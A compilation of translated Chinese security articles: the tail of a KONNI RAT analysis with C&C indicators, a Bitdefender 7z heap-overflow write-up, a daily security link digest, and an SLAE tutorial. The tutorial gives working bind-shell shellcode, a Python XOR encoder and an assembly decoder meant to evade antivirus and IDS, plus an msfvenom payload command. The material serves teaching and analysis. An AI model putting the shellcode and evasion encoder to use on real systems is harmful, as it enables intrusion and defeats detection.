在这个版本中,id字段根据主机操作系统的安装日期计算而得:


【技术分享】针对新型KONNI变种的分析

title为原始数据文件所对应的文件名(包含扩展名),passwd为经过编码后实际数据。


【技术分享】针对新型KONNI变种的分析
将数据发往C&C服务器之前,数据首先会经过ZIP压缩,再使用“123qweasd/*-+p[;’p”密钥进行RC4加密,然后再使用Base64进行编码。
【技术分享】针对新型KONNI变种的分析

三、总结

KONNI并不是一个复杂的恶意软件,木马没有经过太多混淆处理。经过快速差异对比后,我们就能发现攻击者对新变种做的改动。到目前为止,貌似新变种唯一的改动就是释放程序安装KONNI DLL的方式有所不同。根据我们在过去几个月中的持续跟踪,我们认为该木马会在未来继续活跃。

Fortinet将这种威胁标记为W32/Noki.A!tr,并将VB宏释放脚本标记为WM/MacroDropper.A!tr。


四、附录

样本特征:

样本哈希值为:

834d3b0ce76b3f62ff87b7d6f2f9cc9b (DOC)

0914ef43125114162082a11722c4cfc3 (EXE)

38ead1e8ffd5b357e879d7cb8f467508 (DLL)

URL地址:

donkeydancehome[.]freeiz.com/weget/upload[.]php (C&C) seesionerrorwebmailattach[.]uphero[.]com/attach/download.php?file=12%20things%20Trump%20should%20know%20about%20North%20Korea.doc (DOC下载URL)


【技术分享】针对新型KONNI变种的分析
【技术分享】针对新型KONNI变种的分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blog.fortinet.com/2017/08/15/a-quick-look-at-a-new-konni-rat-variant

【漏洞分析】7z的LZMA压缩算法与Bitdefender的堆缓冲区溢出漏洞

$
0
0
【漏洞分析】7z的LZMA压缩算法与Bitdefender的堆缓冲区溢出漏洞

2017-08-24 11:13:02

阅读:582次
点赞(0)
收藏
来源: landave.io





【漏洞分析】7z的LZMA压缩算法与Bitdefender的堆缓冲区溢出漏洞

作者:WisFree





【漏洞分析】7z的LZMA压缩算法与Bitdefender的堆缓冲区溢出漏洞

译者:WisFree

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


写在前面的话

前段时间,我们曾发表过一篇关于利用7z的PPMD压缩算法触发Bitdefender栈缓冲区溢出的技术文章【参考文章】。而就在该文章发表的几天之后,我又在Bitdefender的产品中发现了一个新的安全漏洞。虽然这同样是一个7z漏洞,但是这个漏洞与之前所发现的那个漏洞以及PPMD编码解码器都没有任何的关系。实际上,这个漏洞涉及到了动态内存管理方面的问题。需要注意的是,在此之前我们也发表过一篇文章来描述F-Secure反病毒产品中的一个任意释放漏洞【参考文章】,但是今天的这篇文章是本系列中第一篇介绍堆缓冲区溢出漏洞的文章。


漏洞介绍

此前,为了写好那篇关于7z PPMD压缩算法漏洞的文章,我阅读了大量的7-Zip源代码,然后从中发现了很多非常有价值的信息(这些信息可以更好地帮助我分析反病毒产品中的漏洞)。因此,我准备利用我手中所掌握的这些信息来分析一下Bitdefender的7z模块。

我之前曾写过一篇关于简化文件处理过程的文章,而Bitdefender 7z PPMD压缩算法的栈缓冲区溢出漏洞也是一个通过移除检测机制(实际上是移除了负责进行检测的相关源码)来简化文件处理流程的绝佳例子。

除此之外,这个漏洞也证明了有的时候向已存在的代码中添加新的代码是有多么的困难。但是一般来说,代码的修改永远都是不可避免的,哪怕是只修改其中的一小部分那也是需要考虑非常多因素的,如果考虑不周全的话,则很有可能会影响程序的内存分配以及文件访问的管理。而本文所要介绍的漏洞就是一个很好的例子,因为程序不正当地使用了内存分配函数并进一步导致Bitdefender的7z模块(7-Zip源代码)引起堆缓冲区溢出。


漏洞细节分析

当Bitdefender的7z模块在一份7z压缩文档中发现了一个EncodedHeader时,它会尝试使用LZMA解码器进行解压。该模块的代码似乎是基于7-Zip的源码进行开发的,但是Bitdefender的开发人员对代码进行了一些修改。

注:EncodedHeader的作用是在一份压缩文档中包含超过一个文件时对多个header进行压缩。关于7z文件格式的更多内容可以从7-Zip源码包中的DOC/7zFormat.txt中获取【传送门】。

简单来说,提取7z EncodedHeader的实现过程大致如下:

1.从7z EncodedHeader中读取unpackSize;

2.分配unpackSize字节数据;

3.使用7-Zip自带的LZMA解码器的C API来解码流数据;

下面给出的代码段显示了分配函数的调用过程:

1DD02A845FAlearcx,[rdi+128h]//<--------result 1DD02A84601movrbx,[rdi+168h] 1DD02A84608mov[rsp+128h],rsi 1DD02A84610movrsi,[rax+10h] 1DD02A84614mov[rsp+0E0h],r15 1DD02A8461Cmovedx,[rsi]//<--------size 1DD02A8461EcallSZ_AllocBuffer

大家可以先回忆一下x64架构的函数调用惯例。实际上在这个代码段中,前两个整形参数是通过rcx和rdx传递的。

SZ_AllocBuffer是Bitdefender的7z模块中的一个函数,这个函数可以接受两个参数:

第一个参数result是一个指针,这个指针指向的是保存结果的内存地址。

第二个参数size则是待分配的内存空间大小。

接下来,让我们一起看一看该函数的代码实现:

260ED3025D0SZ_AllocBufferprocnear 260ED3025D0 260ED3025D0mov[rsp+8],rbx 260ED3025D5pushrdi 260ED3025D6subrsp,20h 260ED3025DAmovrbx,rcx 260ED3025DDmovedi,edx//<--------ediholdssize 260ED3025DFmovrcx,[rcx] 260ED3025E2testrcx,rcx 260ED3025E5jzshortloc_260ED3025EC 260ED3025E7callnearptrirrelevant_function 260ED3025EC 260ED3025ECloc_260ED3025EC: 260ED3025ECcmpedi,0FFFFFFFFh//<-------{*} 260ED3025EFjbeshortloc_260ED302606 260ED3025F1xorecx,ecx 260ED3025F3mov[rbx],rcx 260ED3025F6moveax,ecx 260ED3025F8mov[rbx+8],ecx 260ED3025FBmovrbx,[rsp+30h] 260ED302600addrsp,20h 260ED302604poprdi 260ED302605retn 260ED302606;------------------------------------ 260ED302606 260ED302606loc_260ED302606: 260ED302606movrcx,rdi//<------setsizeargumentformymalloc 260ED302609callmymalloc //[restofthefunctionomitted]

请注意其中的mymalloc函数,这是一个封装函数,它最终会调用malloc并返回处理结果。很明显,开发人员希望SZ_ALLocBuffer函数的size参数大小至少要32位以上,而这就是一个32位的值。

细心的同学可能已经发现了,编译器并没有成功地对上述代码中{*}所标注的地方(负责进行参数比较)进行优化。考虑到这里的比较结果还需要进行无符号比较(jbe),这就非常有意思了。

在SZ_AllocBuffer返回了处理结果之后,函数LzmaDecode将会被调用:

LzmaDecode(Byte*dest,SizeT*destLen,constByte*src,SizeT*srcLen,/*furtherargumentsomitted*/)

需要注意的是,dest是SZ_AllocBuffer函数分配的一个缓冲区,而destLen应该是一个指向缓冲区大小的指针。

在引用实现中,SizeT被定义成了size_t。有趣的是,Bitdefender的7z模块同时使用了32位和64位版本的SizeT,而这两个版本都存在安全漏洞。我怀疑Bitdefender的开发人员这样做的目的是为了给32位和64位引擎提供不同的功能行为而设计的。

接下来,LZMA解码器会提取出参数中给定的src流数据,然后将*destLen字节数据写入到dest缓冲区中,其中的*destLen是7z EncodedHeader中的一个64位unpackSize,而最终的结果就是一个堆缓冲区溢出漏洞。


触发漏洞

为了触发这个漏洞,我们所创建的7z LZMA流数据中包含了我们需要写入堆内存中的数据。接下来,我们构建了一个7z EncodedHeader(unpackSize大小为(1<<32) + 1),这样应该可以让函数SZ_AllocBuffer分配一个大小为一个字节的缓冲区空间了。

这听起来貌似非常的不错,但是这真的会有用吗?

0:000>g!Heapblockat1F091472D40modifiedat1F091472D51pastrequestedsizeof1(2f8.14ec):Breakinstructionexception-code80000003(firstchance)ntdll!RtlpNtMakeTemporaryKey+0x435e:00007ff9`d849c4ceccint30:000>db1F091472D51000001f0`91472d515945532c20544849-5320574f524b53abYES,THISWORKS.

攻击者如何控制并利用该漏洞?

攻击者可以在完全不受任何限制的情况下向堆内存中写入任意数据。一个文件系统的过滤器可以用来扫描所有需要存放在本地磁盘上的文件,而这将导致攻击者能够轻松地远程利用这个漏洞,例如攻击者可以通过向目标用户发送一封包含了特殊附件的恶意邮件来发动攻击。

除此之外,该引擎并不在沙盒环境中运行,而且正常的运行权限为NT Authority\SYSTEM。因此,这个漏洞就是一个影响非常严重的高危漏洞了。但是,由于Bitdefender采用了ASLR和DEP,所以如果攻击者想要成功地利用该漏洞实现远程代码执行的话,则需要其他漏洞(例如信息披露漏洞)的配合来绕过ALSR才可以。

还需要注意的是,很多不同的反病毒厂商都在使用Bitdefender的引擎,因此这个安全漏洞的影响范围将会非常的大。


漏洞修复

数修复后的SZ_AllocBuffer函数代码如下所示:

1E0CEA52AE0SZ_AllocBufferprocnear 1E0CEA52AE0 1E0CEA52AE0mov[rsp+8],rbx 1E0CEA52AE5mov[rsp+10h],rsi 1E0CEA52AEApushrdi 1E0CEA52AEBsubrsp,20h 1E0CEA52AEFmovesi,0FFFFFFFFh 1E0CEA52AF4movrdi,rdx//<-----rdiholdsthesize 1E0CEA52AF7movrbx,rcx 1E0CEA52AFAcmprdx,rsi//<------------{1} 1E0CEA52AFDjbeshortloc_1E0CEA52B11 1E0CEA52AFFxoreax,eax 1E0CEA52B01movrbx,[rsp+30h] 1E0CEA52B06movrsi,[rsp+38h] 1E0CEA52B0Baddrsp,20h 1E0CEA52B0Fpoprdi 1E0CEA52B10retn 1E0CEA52B11;----------------------------------- 1E0CEA52B11 1E0CEA52B11loc_1E0CEA52B11: 1E0CEA52B11movrcx,[rcx] 1E0CEA52B14testrcx,rcx 1E0CEA52B17jzshortloc_1E0CEA52B1E 1E0CEA52B19callnearptrirrelevant_function 1E0CEA52B1E 1E0CEA52B1Eloc_1E0CEA52B1E: 1E0CEA52B1Ecmpedi,esi//<------------{2} 1E0CEA52B20jbeshortloc_1E0CEA52B29 1E0CEA52B22xorecx,ecx 1E0CEA52B24mov[rbx],rcx 1E0CEA52B27jmpshortloc_1E0CEA52B3B 1E0CEA52B29;----------------------------------- 1E0CEA52B29 1E0CEA52B29loc_1E0CEA52B29: 1E0CEA52B29movecx,edi 1E0CEA52B2Bcallnearptrmymalloc //[restofthefunctionomitted]

更重要的是,我们可以看到该函数的第二个参数size已经被改成了64位类型。请注意{1}标注的部分,代码所执行的检测能够确保传递的size值不超过0xFFFFFFFF。

在标注了{2}的部分,rdi的值最大为0xFFFFFFFF,而这已经足够去使用32位寄存器edi了,但是在原始版本的代码中并没有这样的检测功能。

因此,只需要保证第二个参数size使用的是64位版本即可修复这个漏洞。


总结

简单来说,此次发现的这个漏洞是因为64位的size值被传递给了内存分配函数SZ_AllocBuffer所导致的:

void*SZ_AllocBuffer(void*resultptr,uint32_tsize);

如果size值不符合预定义的话,那么编译器应该要抛出如下所示的警告信息:

warningC4244:'argument':conversionfrom'uint64_t'to'uint32_t',possiblelossofdata

不过对于一款反病毒引擎而言,这种漏洞确实影响非常严重。但是这也足以证明,我们只需要向一个成熟的代码库中添加几行外部代码,就有可能导致一个严重的漏洞出现。


漏洞时间轴

2017年7月24日:发现漏洞

2017年7月24日:报告漏洞

2017年7月24日:Bitdefender回复称:“感谢提交漏洞报告,我们会立刻进行调查,并在第一时间给予回复。”

2017年8月22日:漏洞信息已确认,并成功修复了该漏洞。

2017年??月??日:漏洞奖金到手??


致谢

在这里我想感谢Bitdefender(尤其是Marius),感谢他们能够友好并迅速地给我回复,并及时修复了这个漏洞。


参考资料

1.https://landave.io/2017/07/bitdefender-remote-stack-buffer-overflow-via-7z-ppmd/

2.https://landave.io/2017/08/f-secure-anti-virus-arbitrary-free-vulnerability-via-tnef/

3.https://sourceforge.net/projects/sevenzip/files/7-Zip/17.00/7z1700-src.7z/download

4.https://news.ycombinator.com/item?id=15075242

5.https://www.reddit.com/r/netsec/comments/6vajy2/bitdefender_antivirus_heap_buffer_overflow_via_7z/



【漏洞分析】7z的LZMA压缩算法与Bitdefender的堆缓冲区溢出漏洞
【漏洞分析】7z的LZMA压缩算法与Bitdefender的堆缓冲区溢出漏洞
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://landave.io/2017/08/bitdefender-heap-buffer-overflow-via-7z-lzma/#fn:1

【知识】8月24日 - 每日安全知识热点

$
0
0
【知识】8月24日 - 每日安全知识热点

2017-08-24 10:56:24

阅读:820次
点赞(0)
收藏
来源: 安全客





【知识】8月24日 - 每日安全知识热点

作者:童话





【知识】8月24日 - 每日安全知识热点

热点概要:如何将Kali linux转换为一个路由器、图解wifi工作原理、渗透测试学习笔记、Project Zero:在windows上绕过VirtualBox Process Hardening、跨平台Macro钓鱼攻击payload、canisrufus:基于python的Windows后门,使用Github作为CC服务器、如何安全的使用PGP、浏览器漏洞挖掘思路、raven:针对Linkedin信息收集工具


资讯类:

ROPEMAKER攻击:攻击者可以电子邮件的内容(即使是已经发送的邮件)

http://thehackernews.com/2017/08/change-email-content.html


BTCMine:针对Linux设备的新型矿机现身

https://www.bleepingcomputer.com/news/security/brian-krebs-fan-creates-new-cryptocurrency-miner-for-linux-devices/


暗网新闻:

美国缉毒局和NSO 集团谈判购买NSO的后门软件,NSO集团的后门软件可以在补丁全打的情况下监控最新版苹果系统

https://www.deepdotweb.com/2017/08/22/dea-talks-iphone-hacking-group/


技术类:

kalirouter:如何将Kali Linux转换为一个路由器(向在另一台机器上运行的拦截代理(如BurpSuite)发送HTTP和HTTPS流量、可以通过wireshark记录所有流量)

https://github.com/koenbuyens/kalirouter


Postmortem Program Analysis with Hardware-Enhanced Post-Crash Artifacts

https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-xu.pdf


图解wifi工作原理

http://www.verizoninternet.com/bookmark/how-wifi-works/


openstar

https://github.com/starjun/openstar


渗透测试学习笔记之案例三

http://mp.weixin.qq.com/s/_zbSCm_fRNP8bDQ2Vxcs9A


恶意软件仿真器的自动逆向工程

http://old.iseclab.org/people/andrew/download/oakland09.pdf


如何使用Shodan命令行获取一个国家最受欢迎的服务列表

https://asciinema.org/a/48142


Practical Reverse Engineering Part 4 - Dumping the Flash

http://jcjc-dev.com/2016/06/08/reversing-huawei-4-dumping-flash/


如何在特定的渗透测试中适用Burp扩展

http://blog.portswigger.net/2017/08/adapting-burp-extensions-for-tailored.html


Sysmon View:跟踪和可视化Sysmon日志

https://cybernext.org/sysmon-view/


Project Zero:在Windows上绕过VirtualBox Process Hardening

https://googleprojectzero.blogspot.com/2017/08/bypassing-virtualbox-process-hardening.html


Using certutil as wget on win hosts

http://carnal0wnage.attackresearch.com/2017/08/certutil-for-delivery-of-files.html


跨平台Macro钓鱼攻击payload

https://medium.com/@malcomvetter/multi-platform-macro-phishing-payloads-3b688e8eff68


canisrufus:隐藏的基于Python的Windows后门,使用Github作为CC服务器

https://github.com/maldevel/canisrufus


redteam-plan:规划红队演习时要考虑的问题

https://github.com/magoo/redteam-plan


Deep Analysis of New Poison Ivy Variant

https://blog.fortinet.com/2017/08/23/deep-analysis-of-new-poison-ivy-variant


portia:在内网渗透中自动化执行

https://github.com/SpiderLabs/portia


如何安全的使用PGP

https://medium.com/@thegrugq/the-zen-of-pgp-6f55d44657dd


sRDI:Shellcode反射式DLL注入

https://silentbreaksecurity.com/srdi-shellcode-reflective-dll-injection/


逆向Humble Bundle应用程序以获得API访问

https://www.schiff.io/blog/2017/07/21/reverse-engineering-humble-bundle-api


3 insights from the Gartner Hype Cycle for Mobile Security 2017

https://blog.lookout.com/gartner-hype-cycle-mobile-security-2017


浏览器漏洞挖掘思路

https://zhuanlan.zhihu.com/p/28719766


raven:针对Linkedin信息收集工具

https://github.com/0x09AL/raven


Crystal Finance Millennium used to spread malware

https://bartblaze.blogspot.com/2017/08/crystal-finance-millennium-used-to.html


GCC low-level IR and basic code generation

http://kristerw.blogspot.com/2017/08/gcc-low-level-ir-and-basic-code.html


Hack Chip: An Uber Portable Hacking Powerhouse

https://blog.hackster.io/hack-chip-an-uber-portable-hacking-powerhouse-4a92a5c84293




【知识】8月24日 - 每日安全知识热点
【知识】8月24日 - 每日安全知识热点
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4309.html

【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器

$
0
0
【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器

2017-08-24 14:04:21

阅读:447次
点赞(0)
收藏
来源: rcesecurity.com





【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器

作者:興趣使然的小胃





【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

在渗透测试过程中,反病毒软件(AV)以及入侵检测系统(IDS)是非常令人讨厌的存在。这些东西通常是导致攻击载荷失效、系统锁定或者渗透测试人员脾气爆炸的罪魁祸首。本文介绍了绕过AV以及IDS的一种简单方法,我们可以利用这种方法绕过基于模式匹配的安全软件或者硬件。这并不是一种面面俱到的解决方法,并非为绕过强大的启发式系统而设计,但可以作为一个非常好的研究起点,我们可以进一步改进相应的编码及混淆技术。

这篇文章主要涉及到我在SecurityTube linux汇编专家认证系列任务中用到的shellcode编码器及解码器相关技术。


二、随机字节插入异或编码方案

随机字节插入异或编码(Random-Byte-Insertion-XOR Encoding,RBIX编码)方案本身是非常简单的一种方案。主要思想是将某个随机字节作为异或(XOR)操作的基础值,以上一个操作的结果为基础,继续处理下一个异或操作。第3个以及第4个字节的处理过程也遵循相同的方式。编码过程的处理流程图如下图所示:


【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器

首先(在步骤#1执行之前),编码器将输入的shellcode按3字节长度切分成多个数据块,然后在每个数据块的头部添加一个随机字节(0x01到0xFF之间的一个值),因此这类随机字节在各数据块上各不一样。如果shellcode的大小不是3字节的整数倍,那么我们需要在最后一个数据块中添加NOP填充字节(0x90)。

在第2个步骤中,编码器将第1个字节(即随机的字节)与第2个字节(原始shellcode的首个字节)进行异或,将第2个字节的值替换为异或后的值。第3个步骤接收第1次异或操作的结果,将该结果与第3个字节进行异或,最后一个步骤使用相同的处理过程,将上次异或操作的结果与当前数据块的最后一个字节进行异或。

最终我们可以得到一个看上去完全碎片化的内存数据。


三、python编码器

基于Python的编码器如下所示:

#!/usr/bin/python #SLAE-Assignment#4:CustomShellcodeEncoder/Decoder #Author:JulienAhrens(@MrTuxracer) #Website: fromrandomimportrandint #Payload:BindShellSLAE-Assignment#1 shellcode="\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80" badchars=["\x00"] defxorBytes(byteArray):#Randomizefirstbyternd=randint(1,255) xor1=(rnd^byteArray[0]) xor2=(xor1^byteArray[1]) xor3=(xor2^byteArray[2]) xorArray=bytearray() xorArray.append(rnd) xorArray.append(xor1) xorArray.append(xor2) xorArray.append(xor3) returncleanBadChars(byteArray,xorArray,badchars) defcleanBadChars(origArray,payload,badchars): forkinbadchars: #Ooops,BadCharfound:(DoXORstuffagainwithanewrandomvalue #Thiscouldrunintoaninfiniteloopinsomecases ifpayload.find(k)>=0: payload=xorBytes(origArray) returnpayload defencodeShellcode(byteArr): shellcode=bytearray() shellcode.extend(byteArr) encoded=bytearray() tmp=bytearray() final="" #Checkwhethershellcodeisaligned iflen(shellcode)%3==1: shellcode.append(0x90) shellcode.append(0x90) eliflen(shellcode)%3==2: shellcode.append(0x90) #Looptosplitshellcodeinto3-byte-blocks foriinrange(0,len(shellcode),3): tmp_block=bytearray() tmp_block.append(shellcode[i]) tmp_block.append(shellcode[i+1]) tmp_block.append(shellcode[i+2]) #DotheRND-InsertionandchainedXORs tmp=xorBytes(tmp_block) #SomeformattingthingsforeasieruseinNASM:) foryintmp: iflen(str(hex(y)))==3: final+=str(hex(y)[:2])+"0"+str(hex(y)[2:])+"," else: final+=hex(y)+"," returnfinal[:-1] print"EncodedShellcode:\r" printencodeShellcode(shellcode) 这个脚本可以生成NASM兼容的shellcode,对导致攻击过程失败的某些异常字符也进行了处理。这个脚本用到了我在SLAE #1号任务中使用过的shellcode,其作用只是简单地将shell接口绑定到1337端口上。脚本会生成编码后的shellcode,输出结果如下图所示,其中我们看不到0x00这个字节,因为这个字节处于“字节黑名单”中,已经被妥善处理:

【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器

四、Shellcoder解码器

为了将编码后的shellcode恢复到原始的形式(即解码处理过程),我将一个解码器放在经过编码的shellcode的开头部位,这个解码器可以读取并解码内存中的shellcode,然后再执行这个shellcode。简单的解码过程如下图所示:


【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器

将不同字节彼此异或处理,并删除附加的字节后,我们可以将shellcode恢复到最初状态。现在我们可以好好分析真正有趣的部分:使用汇编语言来实现解码器。

首先,寄存器的布局信息如下所示:

EAX: 每次异或操作的第一个操作数

EBX: 每次异或操作的第二个操作数

ECX, EDX: 循环计数器

ESI: 指向编码后shellcode的指针

EDI: 指向解码后shellcode的指针

为了处理编码后的shellcode,我们需要一个寄存器(ESI)来指向shellcode的内存地址。我们还需要shellcode的长度值,这个值被后面的一个指针所引用,因此这里我会先跳过这个值的具体信息。为了获取地址信息,我们使用了jmp-call-pop(跳转、调用、弹出)技术:

global_start section.text _start: jmpgetshellcode decoder: popesi;pointertoshellcode pushesi;saveaddressofshellcodeforlaterexecution movedi,esi;copyaddressofshellcodetoeditoworkwithit [...] get_shellcode: calldecoder shellcode:db 0x60,0x0a,0x6c,0x34,0xa6,0xcc,0xcd,0x96,0xf9,0xc8,0x3e,0x68,0xa6,0xf5,0x9f,0x9d,0x37,0xbe,0x5f,0x92,0x5d,0xdd,0x82,0x15,0xe4,0x77,0xc7,0xa1,0xdc,0x8a,0xec,0x84,0xe2,0xe7,0xde,0xb8,0x17,0x44,0xcd,0x2c,0x1d,0x77,0x67,0x36,0x18,0x4f,0xc6,0x27,0x55,0x98,0x18,0xa8,0x52,0x34,0x87,0x83,0xdc,0x8a,0xdd,0x54,0xa5,0x44,0x89,0x09,0xa6,0x16,0x70,0x33,0xe6,0xb0,0xe6,0xb1,0xbf,0x36,0xd7,0x1a,0x5b,0xdb,0x82,0xdb,0xea,0x5b,0x59,0xca,0x23,0x93,0xac,0x61,0x0d,0x8d,0xc4,0xbd,0xed,0x14,0xa4,0xaf,0xe0,0x88,0xa7,0x88,0x25,0x56,0x3e,0x56,0x63,0x4c,0x2e,0x47,0x5c,0x32,0xbb,0x58,0xc3,0x82,0x0b,0xc1,0xff,0x32,0xb2,0x22 len:equ$-shellcode

在POP及MOV指令后,ESI寄存器以及EDI寄存器指向编码后的shellcode,此外相应的指针也会被PUSH到栈上,以便在最后一个步骤执行shellcode。

现在,我们需要清理某些寄存器。但要记住的是,我们正在处理的是EAX以及EBX的低字节部分(即AL以及BL),因此我们不需要完全清除这些寄存器,这样可以省下一些字节:

xorecx,ecx;clearinnerloop-counter xoredx,edx;clearouterloop-counter

接下来是真正的解码函数。异或操作基于AL以及BL,因为我们每次只异或处理1个字节。编码后的shellocde的首个字节(ESI)会被MOV到AL中,下一个字节(ESI+1)会作为第二个XOR操作数被放到BL中。

moval,[esi];getfirstbytefromtheencodedshellcode movbl,[esi+1];getsecondbytefromtheencodedshellcode

当AL以及BL设置完毕后,它们就可以被异或处理,生成的字节存放在AL中,会被MOV到EDI中。由于EDI指向的是编码后的shellcode的地址,因此实际上我们正在做的是将编码后的shellcode替换为解码后的shellcode,这样就能省下许多内存空间。

xoral,bl;xorthem(resultissavedtoeax) mov[edi],al;save(decode)tothesamememorylocationastheencodedshellcode

当这个内存写入操作完成之后,相应的计数器以及指针的值会得到更新,为下一个数据块的异或处理做好准备。

incedi;movedecoded-pointer1byteonward incesi;moveencoded-pointer1byteonwardincecx; incrementinnerloop-counter

由于编码器将shellcode按3字节大小进行切割,并在开头部位添加一个随机的字节,最终生成4字节大小的数据块,因此解码器需要做相同的操作:将经过编码的shellcode按4字节进行切割。我们可以在ECX寄存器上使用CMP-JNE循环,通过一组异或指令完成这个任务:

l0: moval,[esi];getfirstbytefromtheencodedshellcode movbl,[esi+1];getsecondbytefromtheencodedshellcode xoral,bl;xorthem(resultissavedtoeax) mov[edi],al;save(decode)tothesamememorylocationastheencodedshellcode incedi;movedecoded-pointer1byteonward incesi;moveencoded-pointer1byteonward incecx;incrementinnerloop-counter cmpcl,0x3;dealingwith4byte-blocks! jnel0

上述代码中,如果CL等于3(表明已经执行了3条异或操作),解码器可以再次增加ESI的值,然后接收下一个4字节大小的数据块。这意味着解码器“跳过”了上一个数据块的最后一个字节,因为解码器需要再次从随机的字节开始处理。我们还需要将EDX外部循环计数器加上0x4,以确保解码器能在合适的位置访问编码后的shellcode的尾部地址,而不会导致SISEGV错误:

incesi;moveencoded-pointer1byteonward xorecx,ecx;clearinnerloop-counter adddx,0x4;moveouterloop-counter4bytesonward cmpdx,len;checkwhethertheendoftheshellcodeisreached jnel0

这两个循环都是用来遍历处理编码后的shellcode的4字节数据块,在同一个内存位置实时生成解码后的shellcode。大家是否还记得第一条PUSH指令?这条指令用来完成解码器的最后操作,调用解码后的shellcode:

call[esp];executedecodedshellcode

因此,完整版的汇编语言开发的解码器如下所示:

;SLAE-Assignment#4:CustomShellcodeEncoder/Decoder(Linux/x86) ;Author:JulienAhrens(@MrTuxracer) ;Website:http://www.rcesecurity.com global_start section.text _start: jmpgetshellcode decoder: popesi;pointertoshellcode pushesi;saveaddressofshellcodeforlaterexecution movedi,esi;copyaddressofshellcodetoeditoworkwithit xoreax,eax;clearfirstXOR-operandregister xorebx,ebx;clearsecondXOR-operandregister xorecx,ecx;clearinnerloop-counter xoredx,edx;clearouterloop-counter loop0: moval,[esi];getfirstbytefromtheencodedshellcode movbl,[esi+1];getsecondbytefromtheencodedshellcode xoral,bl;xorthem(resultissavedtoeax) mov[edi],al;save(decode)tothesamememorylocationastheencodedshellcode incedi;movedecoded-pointer1byteonward incesi;moveencoded-pointer1byteonward incecx;incrementinnerloop-counter cmpcl,0x3;dealingwith4byte-blocks! jneloop0 incesi;moveencoded-pointer1byteonward xorecx,ecx;clearinnerloop-counter adddx,0x4;moveouterloop-counter4bytesonward cmpdx,len;checkwhethertheendoftheshellcodeisreached jneloop0 call[esp];executedecodedshellcode get_shellcode: calldecodershellcode:db 0x60,0x0a,0x6c,0x34,0xa6,0xcc,0xcd,0x96,0xf9,0xc8,0x3e,0x68,0xa6,0xf5,0x9f,0x9d,0x37,0xbe,0x5f,0x92,0x5d,0xdd,0x82,0x15,0xe4,0x77,0xc7,0xa1,0xdc,0x8a,0xec,0x84,0xe2,0xe7,0xde,0xb8,0x17,0x44,0xcd,0x2c,0x1d,0x77,0x67,0x36,0x18,0x4f,0xc6,0x27,0x55,0x98,0x18,0xa8,0x52,0x34,0x87,0x83,0xdc,0x8a,0xdd,0x54,0xa5,0x44,0x89,0x09,0xa6,0x16,0x70,0x33,0xe6,0xb0,0xe6,0xb1,0xbf,0x36,0xd7,0x1a,0x5b,0xdb,0x82,0xdb,0xea,0x5b,0x59,0xca,0x23,0x93,0xac,0x61,0x0d,0x8d,0xc4,0xbd,0xed,0x14,0xa4,0xaf,0xe0,0x88,0xa7,0x88,0x25,0x56,0x3e,0x56,0x63,0x4c,0x2e,0x47,0x5c,0x32,0xbb,0x58,0xc3,0x82,0x0b,0xc1,0xff,0x32,0xb2,0x22 len:equ$-shellcode 接下来我们可以给出一些演示案例。

五、在Linux上执行Shellcode

大家可以从我的Github仓库上下载脚本,完成obj导出以及编译过程:


【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器

你可以使用GDB来确认解码器是否正常工作。在解码过程的初始阶段,ESI指向的是编码后的shellcode:


【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器
在shellcode的尾部,我们可以发现调用shellcode的实际上是“call [esp]”指令,这段shellcode的解码过程准确无误:
【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器

因此,最后shellcode的执行过程也非常成功:


【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器

我们的成果已经得到证实。此时此刻,你可能已经注意到编码过程会将编码后的shellcode的大小增大将近一倍,当shellcode可存放的空间大小捉襟见肘时,你可能需要重点关注这个情况。


六、在现实世界中实现Shellcode的跨平台执行

上述演示过程非常顺利,因为整个过程完全运行在一个可控的环境中。现在,我们可以在现实的攻击场景中使用这个解码器。你可能对我之前做过的工作有所了解(可以参考Easy File Management Webserver的攻击过程),当时我使用了一个自定义的ROP利用工具来弹出一个calc.exe窗口。现在我们可以修改这个工具,以演示我们自定义的编码器以及解码器。

首先,我们需要一段“纯净版”的shellcode代码。非常幸运的是,msfvenom可以满足我们的需求:

msfvenom-pwindows/execCMD=calc.exe-fpython-egeneric/none

从输出中我们可以看到文本形式的shellcode:


【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器

如果你在攻击工具中直接使用这段shellcode,那么它会导致整个攻击行动失败,因为这段代码中有大量不可用的字符(如0x00)。首先我们可以对这段shellcode进行编码,但我们需要确保所有不可用字符都经过处理,对于这段代码而言,这些字符为:0x00, 0x0a, 0x0b and 0x3b。

